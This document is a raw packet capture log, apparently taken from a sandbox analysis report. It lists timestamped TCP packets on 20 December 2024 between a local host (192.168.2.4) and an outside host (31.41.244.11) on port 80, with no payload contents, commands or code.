Dec 20, 2024 09:12:14.024806023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.024849892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.025638103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.025692940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.025754929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.025800943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.026659966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.026717901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.026786089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.026838064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.027658939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.027709007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.027776003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.027827978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.028620005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.028667927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.028747082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.028795958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.029586077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.029637098 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.029752016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.029802084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.030596972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.030646086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.030730009 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.030782938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.031580925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.031630039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.031706095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.031752110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.032557011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.032603979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.032649994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.032695055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.033535004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.033581972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.033649921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.033699036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.034573078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.034621954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.034658909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.034706116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.035507917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.035554886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.035619974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.035665035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.036520958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.036569118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.036633968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.036681890 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.037493944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.037540913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.037606001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.037656069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.038391113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.038446903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.179141998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.179274082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.179331064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.179368019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.179673910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.179722071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.180020094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.180064917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.180615902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.180664062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.180860043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.180907011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.181569099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.181612968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.181669950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.181714058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.182562113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.182610035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.182637930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.182682037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.183583975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.183631897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.183717012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.183763981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.184500933 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.184565067 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.184637070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.184695959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.185497046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.185539007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.185631037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.185672998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.186460018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.186505079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.186536074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.186575890 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.187470913 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.187516928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.187587976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.187633991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.188447952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.188489914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.188568115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.188641071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.189429998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.189477921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.189563990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.189610958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.190418005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.190460920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.190499067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.190542936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.191426039 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.191469908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.191571951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.191616058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.192389965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.192435026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.192471981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.192517042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.193424940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.193474054 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.193557024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.193602085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.194400072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.194442987 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.194469929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.194508076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.195349932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.195394039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.195450068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.195487976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.196365118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.196391106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.196413040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.196435928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.197331905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.197376013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.197462082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.197510958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.198302984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.198348999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.198396921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.198445082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.199290037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.199341059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.199465990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.199511051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.200299978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.200341940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.200342894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.200381041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.201289892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.201334953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.201422930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.201467991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.202255011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.202301025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.202337027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.202382088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.203233004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.203277111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.203357935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.203402042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.204215050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.204257965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.204279900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.204324961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.205220938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.205287933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.205313921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.205355883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.206199884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.206238985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.206293106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.206336021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.207216978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.207261086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.207370043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.207415104 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.208195925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.208242893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.208333969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.208384037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.209127903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.209172964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.209311008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.209353924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.210114956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.210165024 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.210203886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.210243940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.211108923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.211157084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.211209059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.211255074 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.212142944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.212191105 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.212238073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.212285042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.213084936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.213134050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.213247061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.213294029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.214034081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.214077950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.214139938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.214184999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.215079069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.215126991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.215162992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.215200901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.216038942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.216078997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.216085911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.216124058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.217037916 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.217081070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.217129946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.217175007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.218031883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.218075991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.218079090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.218122005 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.218972921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.219018936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.219116926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.219161987 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.220015049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.220062971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.220098972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.220139980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.220932007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.220980883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.221038103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.221085072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.221930981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.221977949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.222126961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.222173929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.222923994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.222969055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.223001957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.223047018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.223891973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.223932981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.224076986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.224137068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.224879026 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.224924088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.225009918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.225053072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.225851059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.225919008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.226007938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.226052999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.226856947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.226900101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.227005005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.227056980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.227818966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.227863073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.227937937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.227984905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.228804111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.228848934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.228934050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.228975058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.229780912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.229826927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.229878902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.229923964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.230693102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.230732918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.371373892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.371428967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.371444941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.371484995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.371756077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.371803999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.371983051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.372033119 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.372107983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.372462988 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.372978926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.373100042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.373145103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.373961926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.374011993 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.374155045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.374264002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.374936104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.374994993 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.375058889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.375119925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.375948906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.375999928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.376077890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.376118898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.376931906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.377121925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.377168894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.377901077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.378021002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.378070116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.378880024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.378922939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.378977060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.379755974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.379874945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.379997969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.380050898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.380860090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.380959034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.380980968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.380996943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.381828070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.381875992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.381906986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.381990910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.382808924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.382882118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.382932901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.384067059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.384118080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.384251118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.384422064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.384804010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.384864092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.384927034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.384974003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.385762930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.385807037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.385870934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.385912895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.386763096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.386879921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.386934042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.387767076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.387878895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.387928009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.388736963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.388814926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.388854980 CET	49759	80	192.168.2.4	31.41.244.11
